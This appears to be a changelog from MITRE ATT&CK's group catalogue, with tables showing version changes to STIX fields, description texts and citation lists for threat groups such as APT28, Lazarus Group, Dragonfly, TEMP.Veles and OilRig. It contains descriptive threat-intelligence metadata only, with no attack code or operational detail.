| external_references[15]['description'] | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. | Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018. |
| external_references[15]['url'] | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ | https://www.justice.gov/file/1080281/download |
| external_references[16]['source_name'] | Crowdstrike DNC June 2016 | Ars Technica GRU indictment Jul 2018 |
| external_references[16]['description'] | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. | Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018. |
| external_references[16]['url'] | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ | https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/ |
| external_references[17]['source_name'] | FireEye APT28 | Crowdstrike DNC June 2016 |
| external_references[17]['description'] | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. | Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016. |
| external_references[17]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf | https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/ |
| external_references[18]['source_name'] | SecureWorks TG-4127 | FireEye APT28 |
| external_references[18]['description'] | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. | FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015. |
| external_references[18]['url'] | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf |
| external_references[19]['source_name'] | FireEye APT28 January 2017 | SecureWorks TG-4127 |
| external_references[19]['description'] | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. | SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016. |
| external_references[19]['url'] | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf | https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign |
| external_references[20]['source_name'] | GRIZZLY STEPPE JAR | FireEye APT28 January 2017 |
| external_references[20]['description'] | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. | FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017. |
| external_references[20]['url'] | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf | https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf |
| external_references[21]['source_name'] | Sofacy DealersChoice | GRIZZLY STEPPE JAR |
| external_references[21]['description'] | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. | Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE – Russian Malicious Cyber Activity. Retrieved January 11, 2017. |
| external_references[21]['url'] | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ | https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf |
| external_references[22]['source_name'] | Palo Alto Sofacy 06-2018 | Sofacy DealersChoice |
| external_references[22]['description'] | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. | Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018. |
| external_references[22]['url'] | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ | https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/ |
| external_references[23]['source_name'] | Symantec APT28 Oct 2018 | Palo Alto Sofacy 06-2018 |
| external_references[23]['description'] | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. | Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018. |
| external_references[23]['url'] | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government | https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/ |
| external_references[24]['source_name'] | ESET Zebrocy May 2019 | Symantec APT28 Oct 2018 |
| external_references[24]['description'] | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. | Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018. |
| external_references[24]['url'] | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ | https://www.symantec.com/blogs/election-security/apt28-espionage-military-government |
| external_references[25]['source_name'] | US District Court Indictment GRU Oct 2018 | ESET Zebrocy May 2019 |
| external_references[25]['description'] | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. | ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019. |
| external_references[25]['url'] | https://www.justice.gov/opa/page/file/1098481/download | https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/ |
| external_references[26]['source_name'] | Kaspersky Sofacy | US District Court Indictment GRU Oct 2018 |
| external_references[26]['description'] | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[26]['url'] | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[27]['source_name'] | ESET Sednit Part 3 | Kaspersky Sofacy |
| external_references[27]['description'] | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. | Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015. |
| external_references[27]['url'] | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf | https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/ |
| external_references[28]['source_name'] | Talos Seduploader Oct 2017 | ESET Sednit Part 3 |
| external_references[28]['description'] | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. | ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016. |
| external_references[28]['url'] | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html | http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf |
| external_references[29]['source_name'] | Securelist Sofacy Feb 2018 | Talos Seduploader Oct 2017 |
| external_references[29]['description'] | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. | Mercer, W., et al. (2017, October 22). "Cyber Conflict" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018. |
| external_references[29]['url'] | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ | https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html |
| external_references[30]['source_name'] | Accenture SNAKEMACKEREL Nov 2018 | Securelist Sofacy Feb 2018 |
| external_references[30]['description'] | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. | Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018. |
| external_references[30]['url'] | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 | https://securelist.com/a-slice-of-2017-sofacy-activity/83930/ |
| external_references[31]['source_name'] | Microsoft STRONTIUM Aug 2019 | Accenture SNAKEMACKEREL Nov 2018 |
| external_references[31]['description'] | MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019. | Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019. |
| external_references[31]['url'] | https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/ | https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50 |
| external_references[32]['source_name'] | Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020 | TrendMicro Pawn Storm Dec 2020 |
| external_references[32]['description'] | Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020. | Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. |
| external_references[32]['url'] | https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/ | https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html |
| x_mitre_version | 3.0 | 3.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft STRONTIUM Aug 2019', 'description': 'MSRC Team. (2019, August 5). Corporate IoT – a path to intrusion. Retrieved August 16, 2019.', 'url': 'https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/'} | |
| external_references | {'source_name': 'Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020', 'description': 'Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.', 'url': 'https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/'} |
Current version: 2.0
Version changed from: 1.4 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | threat group that has been attributed to the North Korean go | > | North Korean state-sponsored cyber threat group that has bee | ||
| > | vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou | > | n attributed to the Reconnaissance General Bureau.(Citation: | ||
| > | p has been active since at least 2009 and was reportedly res | > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | ||
| > | ponsible for the November 2014 destructive wiper attack agai | > | rean Cyber Groups September 2019) The group has been active | ||
| > | nst Sony Pictures Entertainment as part of a campaign named | > | since at least 2009 and was reportedly responsible for the N | ||
| > | Operation Blockbuster by Novetta. Malware used by [Lazarus G | > | ovember 2014 destructive wiper attack against Sony Pictures | ||
| > | roup](https://attack.mitre.org/groups/G0032) correlates to o | > | Entertainment as part of a campaign named Operation Blockbus | ||
| > | ther reported campaigns, including Operation Flame, Operatio | > | ter by Novetta. Malware used by [Lazarus Group](https://atta | ||
| > | n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. | > | ck.mitre.org/groups/G0032) correlates to other reported camp | ||
| > | (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou | > | aigns, including Operation Flame, Operation 1Mission, Operat | ||
| > | p](https://attack.mitre.org/groups/G0032) used KillDisk, a d | > | ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett | ||
| > | isk-wiping tool, in an attack against an online casino based | > | a Blockbuster) North Korean group definitions are known to | ||
| > | in Central America. (Citation: Lazarus KillDisk) North Kor | > | have significant overlap, and some security researchers repo | ||
| > | ean group definitions are known to have significant overlap, | > | rt all North Korean state-sponsored cyber activity under the | ||
| > | and the name [Lazarus Group](https://attack.mitre.org/group | > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | ||
| > | s/G0032) is known to encompass a broad range of activity. So | > | instead of tracking clusters or subgroups, such as [Andarie | ||
| > | me organizations use the name Lazarus Group to refer to any | > | l](https://attack.mitre.org/groups/G0138), [APT37](https://a | ||
| > | activity attributed to North Korea.(Citation: US-CERT HIDDEN | > | ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre. | ||
| > | COBRA June 2017) Some organizations track North Korean clus | > | org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr | ||
| > | ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar | > | oups/G0094). | ||
| > | us Under The Hood Blog 2017) [APT37](https://attack.mitre.or | ||||
| > | g/groups/G0067), and [APT38](https://attack.mitre.org/groups | ||||
| > | /G0082) separately, while other organizations may track some | ||||
| > | activity associated with those group names by the name Laza | ||||
| > | rus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-02 16:21:21.624000+00:00 | 2021-10-14 22:04:58.182000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). |
| external_references[7]['source_name'] | Novetta Blockbuster | Treasury North Korean Cyber Groups September 2019 |
| external_references[7]['description'] | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[7]['url'] | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[8]['source_name'] | Lazarus KillDisk | Novetta Blockbuster |
| external_references[8]['description'] | Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. |
| external_references[8]['url'] | https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
| external_references[9]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | US-CERT HOPLIGHT Apr 2019 |
| external_references[9]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. |
| external_references[9]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| external_references[10]['source_name'] | US-CERT HOPLIGHT Apr 2019 | Microsoft ZINC disruption Dec 2017 |
| external_references[10]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ |
| external_references[11]['source_name'] | Microsoft ZINC disruption Dec 2017 | Secureworks NICKEL ACADEMY Dec 2017 |
| external_references[11]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. |
| external_references[11]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing |
| x_mitre_version | 1.4 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Secureworks NICKEL ACADEMY Dec 2017', 'description': 'Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.', 'url': 'https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing'} |
Current version: 1.4
Version changed from: 1.3 → 1.4
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-01 15:48:20.759000+00:00 | 2021-05-26 12:40:42.907000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
Current version: 2.1
Version changed from: 2.0 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly | t | 1 | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cybe |
| > | is a cyber espionage group that has been active since at le | > | r espionage group that has been active since at least 2011. | ||
| > | ast 2011. They initially targeted defense and aviation compa | > | They initially targeted defense and aviation companies but s | ||
| > | nies but shifted to focus on the energy sector in early 2013 | > | hifted to focus to include the energy sector in early 2013. | ||
| > | . They have also targeted companies related to industrial co | > | They have also targeted companies related to industrial cont | ||
| > | ntrol systems. (Citation: Symantec Dragonfly)(Citation: Secu | > | rol systems. (Citation: Symantec Dragonfly)(Citation: Secure | ||
| > | reworks IRON LIBERTY July 2019) A similar group emerged in | > | works IRON LIBERTY July 2019) A similar group emerged in 20 | ||
| > | 2015 and was identified by Symantec as [Dragonfly 2.0](https | > | 15 and was identified by Symantec as [Dragonfly 2.0](https:/ | ||
| > | ://attack.mitre.org/groups/G0074). There is debate over the | > | /attack.mitre.org/groups/G0074). There is debate over the ex | ||
| > | extent of the overlap between [Dragonfly](https://attack.mit | > | tent of the overlap between [Dragonfly](https://attack.mitre | ||
| > | re.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitr | > | .org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre. | ||
| > | e.org/groups/G0074), but there is sufficient evidence to lea | > | org/groups/G0074), but there is sufficient evidence to lead | ||
| > | d to these being tracked as two separate groups. (Citation: | > | to these being tracked as two separate groups. (Citation: Sy | ||
| > | Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2. | > | mantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 | ||
| > | 0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-14 22:42:00.531000+00:00 | 2021-10-12 22:07:18.072000+00:00 |
| description | [Dragonfly](https://attack.mitre.org/groups/G0035) Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus to include the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| x_mitre_version | 2.0 | 2.1 |
Current version: 1.3
Version changed from: 1.2 → 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus | t | 1 | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Rus |
| > | sia-based threat group that has targeted critical infrastruc | > | sia-based threat group that has targeted critical infrastruc | ||
| > | ture. The group has been observed utilizing TRITON, a malwar | > | ture. The group has been observed utilizing [TRITON](https:/ | ||
| > | e framework designed to manipulate industrial safety systems | > | /attack.mitre.org/software/S0609), a malware framework desig | ||
| > | .(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Vele | > | ned to manipulate industrial safety systems.(Citation: FireE | ||
| > | s 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | > | ye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: | ||
| > | FireEye TEMP.Veles JSON April 2019) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-04 23:31:36.937000+00:00 | 2021-10-17 14:49:09.631000+00:00 |
| description | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) | [TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://attack.mitre.org/software/S0609), a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019) |
| external_references[2]['description'] | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) | The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON .(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 ) |
| external_references[4]['url'] | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html | https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html |
| x_mitre_version | 1.2 | 1.3 |
Current version: 2.1
Version changed from: 1.3 → 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a | t | 1 | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a |
| > | suspected Russian group that has targeted government entitie | > | suspected Russian group that has targeted government entitie | ||
| > | s and multiple U.S. critical infrastructure sectors since at | > | s and multiple U.S. critical infrastructure sectors since at | ||
| > | least March 2016. (Citation: US-CERT TA18-074A) (Citation: | > | least December 2015. (Citation: US-CERT TA18-074A) (Citatio | ||
| > | Symantec Dragonfly Sept 2017) There is debate over the exten | > | n: Symantec Dragonfly Sept 2017) There is debate over the ex | ||
| > | t of overlap between [Dragonfly 2.0](https://attack.mitre.or | > | tent of overlap between [Dragonfly 2.0](https://attack.mitre | ||
| > | g/groups/G0074) and [Dragonfly](https://attack.mitre.org/gro | > | .org/groups/G0074) and [Dragonfly](https://attack.mitre.org/ | ||
| > | ups/G0035), but there is sufficient evidence to lead to thes | > | groups/G0035), but there is sufficient evidence to lead to t | ||
| > | e being tracked as two separate groups. (Citation: Fortune D | > | hese being tracked as two separate groups. (Citation: Fortun | ||
| > | ragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | > | e Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 20:14:58.980000+00:00 | 2021-10-14 20:07:00.932000+00:00 |
| description | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| x_mitre_version | 1.3 | 2.1 |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| > | ed Iranian threat group that has targeted Middle Eastern and | > | ed Iranian threat group that has targeted Middle Eastern and | ||
| > | international victims since at least 2014. The group has ta | > | international victims since at least 2014. The group has ta | ||
| > | rgeted a variety of industries, including financial, governm | > | rgeted a variety of sectors, including financial, government | ||
| > | ent, energy, chemical, and telecommunications, and has large | > | , energy, chemical, and telecommunications. It appears the g | ||
| > | ly focused its operations within the Middle East. It appears | > | roup carries out supply chain attacks, leveraging the trust | ||
| > | the group carries out supply chain attacks, leveraging the | > | relationship between organizations to attack their primary t | ||
| > | trust relationship between organizations to attack their pri | > | argets. FireEye assesses that the group works on behalf of t | ||
| > | mary targets. FireEye assesses that the group works on behal | > | he Iranian government based on infrastructure details that c | ||
| > | f of the Iranian government based on infrastructure details | > | ontain references to Iran, use of Iranian infrastructure, an | ||
| > | that contain references to Iran, use of Iranian infrastructu | > | d targeting that aligns with nation-state interests. (Citati | ||
| > | re, and targeting that aligns with nation-state interests. ( | > | on: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig | ||
| > | Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O | > | Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: P | ||
| > | ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat | > | alo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 20 | ||
| > | ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook | > | 17) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUA | ||
